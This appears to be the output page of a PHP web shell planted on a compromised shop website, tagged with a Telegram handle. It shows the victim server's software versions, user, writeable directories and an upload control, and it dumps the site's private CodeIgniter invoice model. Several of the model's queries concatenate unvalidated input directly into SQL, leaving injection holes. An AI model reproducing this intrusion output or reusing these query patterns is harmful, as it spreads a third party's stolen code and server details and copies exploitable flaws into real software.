https://t.me/RX1948
Server : Apache/2.4.18 (Ubuntu)
System : Linux canvaswebdesign 3.13.0-71-generic #114-Ubuntu SMP Tue Dec 1 02:34:22 UTC 2015 x86_64
User : oppastar ( 1041)
PHP Version : 7.0.33-0ubuntu0.16.04.15
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
Directory :  /proc/self/root/var/www/laciasmara.com/public_html/shop/application/models/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //proc/self/root/var/www/laciasmara.com/public_html/shop/application/models/Invoice_m.php
<?php if (!defined('BASEPATH')) exit('No direct script access allowed');

class Invoice_m extends MY_Model
{

	protected $_table_name = 'invoice';
	protected $_primary_key = 'id_invoice';
	protected $_order_by = 'id_invoice';

	public $rules = array(
		array(
			'field'   => 'customer_id',
			'label'   => 'Customer',
			'rules'   => 'trim|required'
		),
		array(
			'field'   => 'marketplace_id',
			'label'   => 'Marketplace',
			'rules'   => 'trim|required'
		),
	);

	function __construct()
	{
		parent::__construct();
	}

	// note note note
	// id_products pada table invoice merupakan colom id pada tabel product_detail

	public function getVendors()
	{
		return $this->db->distinct()->select('vendor, id_vendor, email')->from('vendors')->get()->result();
	}
	public function getProducts()
	{
		$this->db->select(' p.id_products, pc.product_details_id ,pc.attribute_detail_id , p.title,pa.product_attribute,pad.attribute_detail, pd.sku,pd.price')
			->from('product_combination pc, products p, product_details pd, product_attributes pa, product_attributes_detail pad')
			->where('pc.product_id = p.id_products and pc.product_details_id = pd.id and pa.id = pc.attribute_id and pad.id = pc.attribute_detail_id')
			->order_by('title', 'ASC');
		return $this->db->get()->result();
	}
	public function getWarehouse()
	{
		return $this->db->distinct()->select('name,id')->from('warehouse')->get()->result();
	}

	public function getDataTable()
	{
		$this->db->select('ivc.id_invoice,ivc.no_invoice, ven.vendor , ivc.total_payment, ivc.payment_status, wh.name , date(ivc.invoice_date) tgl');
		$this->db->from('invoice ivc, vendors ven, warehouse wh');
		$this->db->where('ven.id_vendor = ivc.vendor_id and wh.id = ivc.warehouse_id');
		$this->db->order_by('id_invoice');
		$query = $this->db->get();
		return $query->result_array();
	}

	public function getNoInvoice($id)
	{
		$this->db->select('ivc.id_invoice,ivc.no_invoice, ven.vendor , ivc.total_payment, ivc.payment_status, wh.name , date(ivc.invoice_date) tgl');
		$this->db->from('invoice ivc, vendors ven, warehouse wh');
		$this->db->where('ven.id_vendor = ivc.vendor_id and wh.id = ivc.warehouse_id and ivc.no_invoice = ' . $id);
		$this->db->order_by('id_invoice');
		$query = $this->db->get();
		return $query->result_array();
	}

	public function getVendor($vendor)
	{
		$this->db->select('ivc.id_invoice,ivc.no_invoice, ven.vendor , ivc.total_payment, ivc.payment_status, wh.name , date(ivc.invoice_date) tgl');
		$this->db->from('invoice ivc, vendors ven, warehouse wh');
		$this->db->where('ven.id_vendor = ivc.vendor_id and wh.id = ivc.warehouse_id and ivc.vendor_id = ' . $vendor);
		$this->db->order_by('id_invoice');
		$query = $this->db->get();
		return $query->result_array();
	}

	public function getDate($start, $end)
	{
		$this->db->select('ivc.id_invoice,ivc.no_invoice, ven.vendor , ivc.total_payment, ivc.payment_status, wh.name , date(ivc.invoice_date) tgl');
		$this->db->from('invoice ivc, vendors ven, warehouse wh');
		$this->db->where('ven.id_vendor = ivc.vendor_id and wh.id = ivc.warehouse_id');
		$this->db->where('ivc.invoice_date >= ', $start);
		$this->db->where('ivc.invoice_date <= ', $end);
		$this->db->order_by('id_invoice');
		$query = $this->db->get();
		return $query->result_array();
	}

	public function getPayment($status)
	{
		$this->db->select('ivc.id_invoice,ivc.no_invoice, ven.vendor , ivc.total_payment, ivc.payment_status, wh.name , date(ivc.invoice_date) tgl');
		$this->db->from('invoice ivc, vendors ven, warehouse wh');
		$this->db->where('ven.id_vendor = ivc.vendor_id and wh.id = ivc.warehouse_id');
		$this->db->where('ivc.payment_status = ', $status);
		$this->db->order_by('id_invoice');
		$query = $this->db->get();
		return $query->result_array();
	}

	public function getWh($wh)
	{
		$this->db->select('ivc.id_invoice,ivc.no_invoice, ven.vendor , ivc.total_payment, ivc.payment_status, wh.name , date(ivc.invoice_date) tgl');
		$this->db->from('invoice ivc, vendors ven, warehouse wh');
		$this->db->where('ven.id_vendor = ivc.vendor_id and wh.id = ivc.warehouse_id');
		$this->db->where('ivc.warehouse_id = ', $wh);
		$this->db->order_by('id_invoice');
		$query = $this->db->get();
		return $query->result_array();
	}

	public function getDataInvoice($id)
	{
		$this->db->select('ivc.id_invoice,ivc.no_invoice, ven.vendor , ivc.total_payment, ivc.payment_status, wh.name , date(ivc.invoice_date) tgl');
		$this->db->from('invoice ivc, vendors ven, warehouse wh');
		$this->db->where('ven.id_vendor = ivc.vendor_id and wh.id = ivc.warehouse_id');
		$this->db->where('ivc.id_invoice', $id);
		$this->db->order_by('id_invoice');
		$query = $this->db->get();
		// return $query->result_array();

		// $query = $this->db->query("SELECT * FROM invoice where id_invoice = ".$id);
		$row = $query->row();

		return $row;
	}


	public function insertInvoice($no_invoice, $id_vendor, $total, $id_warehouse)
	{
		$data = array(
			'no_invoice' => $no_invoice,
			'vendor_id' => $id_vendor,
			'total_payment' => $total,
			'warehouse_id' => $id_warehouse,
			'invoice_date' => date("Y-m-d H:i:s"),
			'payment_status' => 0
		);
		$result = $this->db->insert('invoice', $data);
		//logging
		$user_id = $this->session->userdata('admin')['id'];

		$activity = 'User menambah pembelian (' .  $data['no_invoice'] . ')';

		log_activity($user_id, $activity);
		return $this->db->insert_id();
	}

	public function updateStatus($id, $status)
	{
		$this->db->set('payment_status', $status);
		$this->db->where('id_invoice', $id);
		$this->db->update('invoice');
		//logging
		$user_id = $this->session->userdata('admin')['id'];

		$this->db->select('no_invoice');
		$this->db->from('invoice');
		$this->db->where('id_invoice', $id);
		$query = $this->db->get();
		$data = $query->row();

		if ($data) {
			$activity = 'User merubah status pengadaan barang (' . $data->no_invoice . ')';
		} else {
			$activity = 'User merubah status pengadaan barang (' . $id . ')';
		}

		log_activity($user_id, $activity);
	}

	public function updateStock($quantity, $products_id, $id_warehouse)
	{
		$this->db->set('stock', 'stock+' . $quantity, FALSE);
		$this->db->where('id_product_detail', $products_id);
		$this->db->where('warehouse_id', $id_warehouse);
		$this->db->update('stock');

		return $this->db->select('id')->from('stock')->where('id_product_detail', $products_id)->where('warehouse_id', $id_warehouse)->get()->row();
	}
}

https://t.me/RX1948 - 2025